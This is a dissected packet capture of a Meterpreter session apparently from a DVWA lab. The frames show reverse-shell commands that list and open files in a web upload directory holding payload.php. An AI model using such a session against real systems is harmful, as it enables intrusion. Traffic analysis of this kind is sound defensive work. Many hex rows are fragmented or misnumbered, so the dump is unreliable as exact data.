```
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1, Ack: 1, Len: 73
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000049 [Command length]: 73
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000018000100017374646170695f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6765747764 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
   Data: 000000290001000232353237343533333435363333303735... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 323532373435333334353633333037353938303832313331... [Value] 25274533456330759808213108937554
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 7d 2f 46 40 00 40 06 f5 26 0a 00 01 05 0a 00
                                                       .}/F@.@..&.....
                                                       ...\...x'.....u..
0020 01 0a 11 5c d9 d2 14 78 27 eb 06 18 9e a2 80 18
0030 00 27 a7 fe 00 00 01 01 08 0a 00 0a 01 75 00 0e
0040 49 a3 00 00 00 49 00 00 00 00 00 00 00 18 00 01
                                                       I....I......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 67 65 74 77
                                                       ..stdapi_fs_getw
0060 64 00 00 00 00 29 00 01 00 02 32 35 32 37 34 35
                                                       d....)....252745
0070 33 33 34 35 36 33 33 30 37 35 39 38 30 38 32 31
                                                       3345633075980821
0080 33 31 30 38 39 33 37 35 35 34 00
                                                       3108937554.
```

Frame 3: 139 bytes on wire (1112 bits), 139 bytes captured (1112 bits)

```
Frame 4: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 1, Ack: 74, Len: 124
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000007c [Command length]: 124
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000018000100017374646170695f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6765747764 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
   Data: 000000290001000232353237343533333435363333303735... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 323532373435333334353633333037353938303832313331... [Value] 25274533456330759808213108937554
Meterpreter protocol, TLV details
   Data: 00000027000104b02f7661722f7777772f68746d6c2f6861... [TLV]
   Command: 0x00000027 [Length]: 39
   Type: 0x000104b0 [Type: Response]: TLV_TYPE_DIRECTORY_PATH
   Data: 2f7661722f7777772f68746d6c2f6861636b61626c652f75... [Value] /var/www/html/hackable/uploads
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                     ..'.....'oz...E.
0010 00 b0 0e ad 40 00 40 06 15 8d 0a 00 01 0a 0a 00
                                                     ....@.@......
                                                     .....\....x(4..
0030   0a 77 16 b1 00 00 01 01 08 0a 00 0e 5a 74 00 0a
                                                     .w....Zt..
.u...|........
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 67 65 74 77
                                                     ..stdapi_fs_getw
0060 64 00 00 00 00 29 00 01 00 02 32 35 32 37 34 35
                                                     d....)....252745
0070 33 33 34 35 36 33 33 30 37 35 39 38 30 38 32 31
                                                     3345633075980821
0880
     33 31 30 38 39 33 37 35 35 34 00 00 00 00 27 00
                                                     3108937554....'.
0090 01 04 b0 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c
                                                     .../var/www/html
00a0 2f 68 61 63 6b 61 62 6c 65 2f 75 70 6c 6f 61 64
                                                     /hackable/upload
```

S.....

00b0 73 00 00 00 00 0c 00 02 00 04 00 00 00 00

Ζt

0040 5a 74

```
Frame 6: 177 bytes on wire (1416 bits), 177 bytes captured (1416 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 74, Ack: 125, Len: 111
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000006f [Command length]: 111
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000017000100017374646170695f66735f73746174 [TLV]
   Command: 0x00000017 [Length]: 23
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
   Data: 000000290001000231333733333732393138363936353935... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 313337333337323931383639363539353332323130313937... [Value] 13733729186965953221019754843095
Meterpreter protocol, TLV details
   Data: 00000027000104b22f7661722f7777772f68746d6c2f6861... [TLV]
   Command: 0x00000027 [Length]: 39
   Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
   Data: 2f7661722f7777772f68746d6c2f6861636b61626c652f75... [Value] /var/www/html/hackable/uploads
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                     ..'oz...'....E.
0010 00 a3 2f 48 40 00 40 06 f4 fe 0a 00 01 05 0a 00
                                                      ../H@.@.....
...\...x(4.....
0030 00 27 74 1f 00 00 01 01 08 0a 00 0a 01 8f 00 0e
                                                      .'t.....
0040 5a 74 00 00 00 6f 00 00 00 00 00 00 00 17 00 01
                                                      Zt...o.....
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 73 74 61 74
                                                      \dots {\sf stdapi\_fs\_stat}
0060 00 00 00 00 29 00 01 00 02 31 33 37 33 33 37 32
                                                       ....)....1373372
0070 39 31 38 36 39 36 35 39 35 33 32 32 31 30 31 39
                                                      9186965953221019
0080 37 35 34 38 34 33 30 39 35 00 00 00 00 27 00 01
                                                      754843095....'..
0090 04 b2 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f
                                                      ../var/www/html/
00a0 68 61 63 6b 61 62 6c 65 2f 75 70 6c 6f 61 64 73
                                                      hackable/uploads
```

```
Frame 7: 202 bytes on wire (1616 bits), 202 bytes captured (1616 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 125, Ack: 185, Len: 136
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000088 [Command length]: 136
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000017000100017374646170695f66735f73746174 [TLV]
   Command: 0x00000017 [Length]: 23
   Type: 0x00010001 [Type: Response]: TLV TYPE METHOD
   Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
   Data: 000000290001000231333733333732393138363936353935... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 313337333337323931383639363539353332323130313937... [Value] 13733729186965953221019754843095
Meterpreter protocol, TLV details
   Data: 00000034800004c401080000894dff4102000000000000000... [TLV]
   Command: 0x00000034 [Length]: 52
   Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
   Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                   ..'....'oz...E.
0010 00 bc 0e ae 40 00 40 06 15 80 0a 00 01 0a 0a 00
                                                   ....@.@.....
0020 01 05 d9 d2 11 5c 06 18 9f 1e 14 78 28 a3 80 18
.w.....Z...
0040 01 8f 00 00 00 88 00 00 00 01 00 00 00 17 00 01
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 73 74 61 74
                                                   ..stdapi_fs_stat
0060 00 00 00 00 29 00 01 00 02 31 33 37 33 33 37 32
                                                    ....)....1373372
0070 39 31 38 36 39 36 35 39 35 33 32 32 31 30 31 39
                                                   9186965953221019
0080 37 35 34 38 34 33 30 39 35 00 00 00 00 34 80 00
                                                   754843095....4..
0090
    04 c4 01 08 00 00 89 4d ff 41 02 00 00 00 00 00
                                                   .....M.A.....
00a0 00 00 00 00 00 00 00 10 00 00 8b 5e c9 57 ce 59
                                                   00b0 c9 57 ce 59 c9 57 00 10 00 00 08 00 00 00 00 00
                                                   .W.Y.W.....
00c0 00 0c 00 02 00 04 00 00 00 00
```

.

Ζ.

0040 5a 8e

```
Frame 9: 175 bytes on wire (1400 bits), 175 bytes captured (1400 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 185, Ack: 261, Len: 109
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000006d [Command length]: 109
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000015000100017374646170695f66735f6c73000000000... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000015000100017374646170695f66735f6c73 [TLV]
   Command: 0x00000015 [Length]: 21
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f6c7300 [Value] stdapi_fs_ls
Meterpreter protocol, TLV details
   Data: 000000290001000237373635363534313236383934323930... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 373736353635343132363839343239303636373336353135... [Value] 77656541268942906673651561717907
Meterpreter protocol, TLV details
   Data: 00000027000104b02f7661722f7777772f68746d6c2f6861... [TLV]
   Command: 0x00000027 [Length]: 39
   Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
   Data: 2f7661722f7777772f68746d6c2f6861636b61626c652f75... [Value] /var/www/html/hackable/uploads
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                     ..'oz...'....E.
0010 00 a1 2f 4a 40 00 40 06 f4 fe 0a 00 01 05 0a 00
                                                      ../J@.@.....
0020 01 0a 11 5c d9 d2 14 78 28 a3 06 18 9f a6 80 18
                                                      ...\...x(.....
0030 00 28 dc 65 00 00 01 01 08 0a 00 0a 01 a8 00 0e
                                                      .(.e.......
Z....m......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 6c 73 00 00
                                                      ..stdapi_fs_ls..
0060 00 00 29 00 01 00 02 37 37 36 35 36 35 34 31 32
                                                      ..)....776565412
0070 36 38 39 34 32 39 30 36 36 37 33 36 35 31 35 36
                                                      6894290667365156
0080 31 37 31 37 39 30 37 00 00 00 00 27 00 01 04 b0
                                                      1717907....'....
0090 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 68 61
                                                      /var/www/html/ha
```

ckable/uploads.

00a0 63 6b 61 62 6c 65 2f 75 70 6c 6f 61 64 73 00

```
Frame 10: 400 bytes on wire (3200 bits), 400 bytes captured (3200 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 261, Ack: 294, Len: 334
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000014e [Command length]: 334
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000015000100017374646170695f66735f6c73000000000... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000015000100017374646170695f66735f6c73 [TLV]
   Command: 0x00000015 [Length]: 21
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f6c7300 [Value] stdapi_fs_ls
Meterpreter protocol, TLV details
   Data: 000000290001000237373635363534313236383934323930... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 373736353635343132363839343239303636373336353135... [Value] 77656541268942906673651561717907
Meterpreter protocol, TLV details
   Data: 00000014000104b17061796c6f61642e706870 [TLV]
   Command: 0x00000014 [Length]: 20
   Type: 0x000104b1 [Type: Response]: TLV_TYPE_FILE_NAME
   Data: 7061796c6f61642e70687000 [Value] payload.php
Meterpreter protocol, TLV details
   Data: 00000033000104b22f7661722f7777772f68746d6c2f6861... [TLV]
   Command: 0x00000033 [Length]: 51
   Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
   Data: 2f7661722f7777772f68746d6c2f6861636b61626c652f75... [Value] /var/www/html/hackable/uploads/payload.php
Meterpreter protocol, TLV details
   Data: 00000034800004c401080000264ea4810100210021000000... [TLV]
   Command: 0x00000034 [Length]: 52
   Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
   Meterpreter protocol, TLV details
   Data: 00000017000104b1647677615f656d61696c2e706e67 [TLV]
   Command: 0x00000017 [Length]: 23
   Type: 0x000104b1 [Type: Response]: TLV_TYPE_FILE_NAME
   Data: 647677615f656d61696c2e706e6700 [Value] dvwa_email.png
Meterpreter protocol, TLV details
   Data: 00000036000104b22f7661722f7777772f68746d6c2f6861... [TLV]
   Command: 0x00000036 [Length]: 54
   Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
   Data: 2f7661722f7777772f68746d6c2f6861636b61626c652f75... [Value] /var/www/html/hackable/uploads/dvwa_email.png
Meterpreter protocol, TLV details
   Data: 00000034800004c4010800008a4dff8101000000000000000... [TLV]
   Command: 0x00000034 [Length]: 52
   Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
   Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV TYPE RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                  ..'.....'oz...E.
....@.@......
.....\....x)...
0030   0a 77 17 83 00 00 01 01 08 0a 00 0e 5a a7 00 0a
.....N.......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 6c 73 00 00
                                                  ..stdapi_fs_ls..
0060 00 00 29 00 01 00 02 37 37 36 35 36 35 34 31 32
                                                  ..)....776565412
0070
    36 38 39 34 32 39 30 36 36 37 33 36 35 31 35 36
                                                  6894290667365156
0080
    31 37 31 37 39 30 37 00 00 00 00 14 00 01 04 b1
                                                  1717907.....
0090 70 61 79 6c 6f 61 64 2e 70 68 70 00 00 00 00 33
                                                  payload.php....3
00a0 00 01 04 b2 2f 76 61 72 2f 77 77 77 2f 68 74 6d
                                                  ..../var/www/htm
00b0 6c 2f 68 61 63 6b 61 62 6c 65 2f 75 70 6c 6f 61
                                                  1/hackable/uploa
    64 73 2f 70 61 79 6c 6f 61 64 2e 70 68 70 00 00
00c0
                                                  ds/payload.php..
00d0 00 00 34 80 00 04 c4 01 08 00 00 26 4e a4 81 01
                                                  ..4.....&N...
00e0 00 21 00 21 00 00 00 00 00 00 b1 03 00 00 20
                                                  .!.!........
00f0
    5a c9 57 ce 59 c9 57 ce 59 c9 57 00 10 00 00 08
                                                  Z.W.Y.W.Y.W....
    00 00 00 00 00 00 17 00 01 04 b1 64 76 77 61 5f
0100
0110 65 6d 61 69 6c 2e 70 6e 67 00 00 00 00 36 00 01
                                                  email.png....6..
../var/www/html/
0130
    68 61 63 6b 61 62 6c 65 2f 75 70 6c 6f 61 64 73
                                                  hackable/uploads
0140
    2f 64 76 77 61 5f 65 6d 61 69 6c 2e 70 6e 67 00
                                                  /dvwa_email.png.
0150 00 00 00 34 80 00 04 c4 01 08 00 00 8a 4d ff 81
                                                  ...4.....M..
0170 c8 a5 ed 55 c8 a5 ed 55 1b a6 ed 55 00 10 00 00
                                                  ...U...U...U...
0180 08 00 00 00 00 00 00 0c 00 02 00 04 00 00 00 00
```

Frame 11: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 294, Ack: 595, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 4b 40 00 40 06 f5 6a 0a 00 01 05 0a 00 .4/K@.@.j....
0020 01 0a 11 5c d9 d2 14 78 29 10 06 18 a0 f4 80 10 ...\.x)......
0030 00 2a 34 5a 00 00 01 01 08 0a 00 0a 01 a8 00 0e .*4Z...........

Ζ.

0040 5a a7

```
Frame 12: 158 bytes on wire (1264 bits), 158 bytes captured (1264 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 294, Ack: 595, Len: 92
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005c [Command length]: 92
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000017000100017374646170695f66735f73746174 [TLV]
   Command: 0x00000017 [Length]: 23
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
   Data: 000000290001000233373636343439333838343033313835... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 333736363434393338383430333138353838323233333732... [Value] 37664493884031858822337225832447
Meterpreter protocol, TLV details
   Data: 00000014000104b27061796c6f61642e706870 [TLV]
   Command: 0x00000014 [Length]: 20
   Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
   Data: 7061796c6f61642e70687000 [Value] payload.php
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 90 2f 4c 40 00 40 06 f5 0d 0a 00 01 05 0a 00
                                                      ../L@.@.....
...\...x)......
0030 00 2a 25 41 00 00 01 01 08 0a 00 0a 0a 18 00 0e
                                                      .*%A.....
0040    5a a7 00 00 00 5c 00 00 00 00 00 00 00 17 00 01
                                                      Z....\......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 73 74 61 74
                                                      \dots {\sf stdapi\_fs\_stat}
0060 00 00 00 00 29 00 01 00 02 33 37 36 36 34 34 39
                                                      ....)....3766449
0070 33 38 38 34 30 33 31 38 35 38 38 32 32 33 33 37
                                                      3884031858822337
0080 32 32 35 38 33 32 34 34 37 00 00 00 00 14 00 01
                                                      225832447.....
```

..payload.php.

0090 04 b2 70 61 79 6c 6f 61 64 2e 70 68 70 00

```
Frame 13: 202 bytes on wire (1616 bits), 202 bytes captured (1616 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 595, Ack: 386, Len: 136
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000088 [Command length]: 136
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000017000100017374646170695f66735f73746174 [TLV]
   Command: 0x00000017 [Length]: 23
   Type: 0x00010001 [Type: Response]: TLV TYPE METHOD
   Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
   Data: 000000290001000233373636343439333838343033313835... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 333736363434393338383430333138353838323233333732... [Value] 37664493884031858822337225832447
Meterpreter protocol, TLV details
   Data: 00000034800004c401080000264ea4810100210021000000... [TLV]
   Command: 0x00000034 [Length]: 52
   Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
   Data: 01080000264ea4810100210021000000000000000b1030000... [Value] @D&N��D!!�D Z�W�Y�WDD
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                    ..'....'oz...E.
0010 00 bc 0e b0 40 00 40 06 15 7e 0a 00 01 0a 0a 00
                                                    ....@.@..~....
                                                    .....\....x)1..
0020 01 05 d9 d2 11 5c 06 18 a0 f4 14 78 29 6c 80 18
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 73 74 61 74
                                                    ..stdapi_fs_stat
0060 00 00 00 00 29 00 01 00 02 33 37 36 36 34 34 39
                                                    ....)....3766449
0070 33 38 38 34 30 33 31 38 35 38 38 32 32 33 33 37
                                                    3884031858822337
0080 32 32 35 38 33 32 34 34 37 00 00 00 00 34 80 00
                                                    225832447....4..
0090 04 c4 01 08 00 00 26 4e a4 81 01 00 21 00 21 00
                                                    .....&N....!.!.
00a0 00 00 00 00 00 00 b1 03 00 00 20 5a c9 57 ce 59
                                                    ..... Z.W.Y
00b0 c9 57 ce 59 c9 57 00 10 00 00 08 00 00 00 00 00
                                                    .W.Y.W.....
00c0 00 0c 00 02 00 04 00 00 00 00
```

.

Frame 14: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 386, Ack: 731, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 4d 40 00 40 06 f5 68 0a 00 01 05 0a 00 .4/M@.@..h.....
0020 01 0a 11 5c d9 d2 14 78 29 6c 06 18 a1 7c 80 10 ...\...x)1...|..
0030 00 2b 22 96 00 00 01 01 08 0a 00 0a 0a 18 00 0e .+".......

0040 63 16

```
Frame 15: 220 bytes on wire (1760 bits), 220 bytes captured (1760 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 386, Ack: 731, Len: 154
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000009a [Command length]: 154
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
   Command: 0x0000001a [Length]: 26
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
   Data: 000000290001000236353639383338383837323632313331... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 363536393833383838373236323133313532363131373532... [Value] 65698388872621315261175226054219
Meterpreter protocol, TLV details
   Data: 00000017000100337374646170695f66735f66696c65 [TLV]
   Command: 0x00000017 [Length]: 23
   Type: 0x00010033 [Type: Request]: TLV_TYPE_CHANNEL_TYPE
   Data: 7374646170695f66735f66696c6500 [Value] stdapi_fs_file
Meterpreter protocol, TLV details
   Data: 0000000c00020036000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020036 [Type: Request]: TLV_TYPE_CHANNEL_CLASS
   Data: 00000003 [Value] 3
Meterpreter protocol, TLV details
   Data: 0000000c0002001b000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x0002001b [Type: Request]: TLV_TYPE_FLAGS
   Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
   Data: 00000014000104b27061796c6f61642e706870 [TLV]
   Command: 0x00000014 [Length]: 20
   Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
   Data: 7061796c6f61642e70687000 [Value] payload.php
Meterpreter protocol, TLV details
   Data: 0000000c000104b3726262 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x000104b3 [Type: Request]: TLV_TYPE_FILE_MODE
   Data: 72626200 [Value] 1919050240
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 ce 2f 4e 40 00 40 06 f4 cd 0a 00 01 05 0a 00
                                                      ../N@.@.....
...\...x)1...|..
0030 00 2b 90 51 00 00 01 01 08 0a 00 0a 0a 32 00 0e
                                                      .+.Q.....2..
0040 63 16 00 00 00 9a 00 00 00 00 00 00 00 1a 00 01
                                                      C............
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 6f
                                                      ..core_channel_o
0060 70 65 6e 00 00 00 00 29 00 01 00 02 36 35 36 39
                                                      pen....)....6569
0070 38 33 38 38 38 37 32 36 32 31 33 31 35 32 36 31
                                                      8388872621315261
0880
     31 37 35 32 32 36 30 35 34 32 31 39 00 00 00 00
                                                      175226054219....
0090 17 00 01 00 33 73 74 64 61 70 69 5f 66 73 5f 66
                                                      ....3stdapi_fs_f
00a0 69 6c 65 00 00 00 00 0c 00 02 00 36 00 00 00 03
                                                      ile.....6....
00b0 00 00 00 0c 00 02 00 1b 00 00 00 01 00 00 00 14
                                                      ....payload.php.
00c0
     00 01 04 b2 70 61 79 6c 6f 61 64 2e 70 68 70 00
```

....rbb.

00d0 00 00 00 0c 00 01 04 b3 72 62 62 00

```
Frame 16: 165 bytes on wire (1320 bits), 165 bytes captured (1320 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 731, Ack: 540, Len: 99
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000063 [Command length]: 99
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
   Command: 0x0000001a [Length]: 26
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
   Data: 000000290001000236353639383338383837323632313331... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 363536393833383838373236323133313532363131373532... [Value] 65698388872621315261175226054219
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Response]: TLV_TYPE_CHANNEL_ID
   Data: 00000000 [Value] OK
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                     ..'....'oz...E.
0010 00 97 0e b1 40 00 40 06 15 a2 0a 00 01 0a 0a 00
                                                     ....@.@......
                                                    ....\...|.x*...
0030   0a a4 16 98 00 00 01 01 08 0a 00 0e 63 2f 00 0a
                                                     ....c/..
.2...c......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 6f
                                                     ..core_channel_o
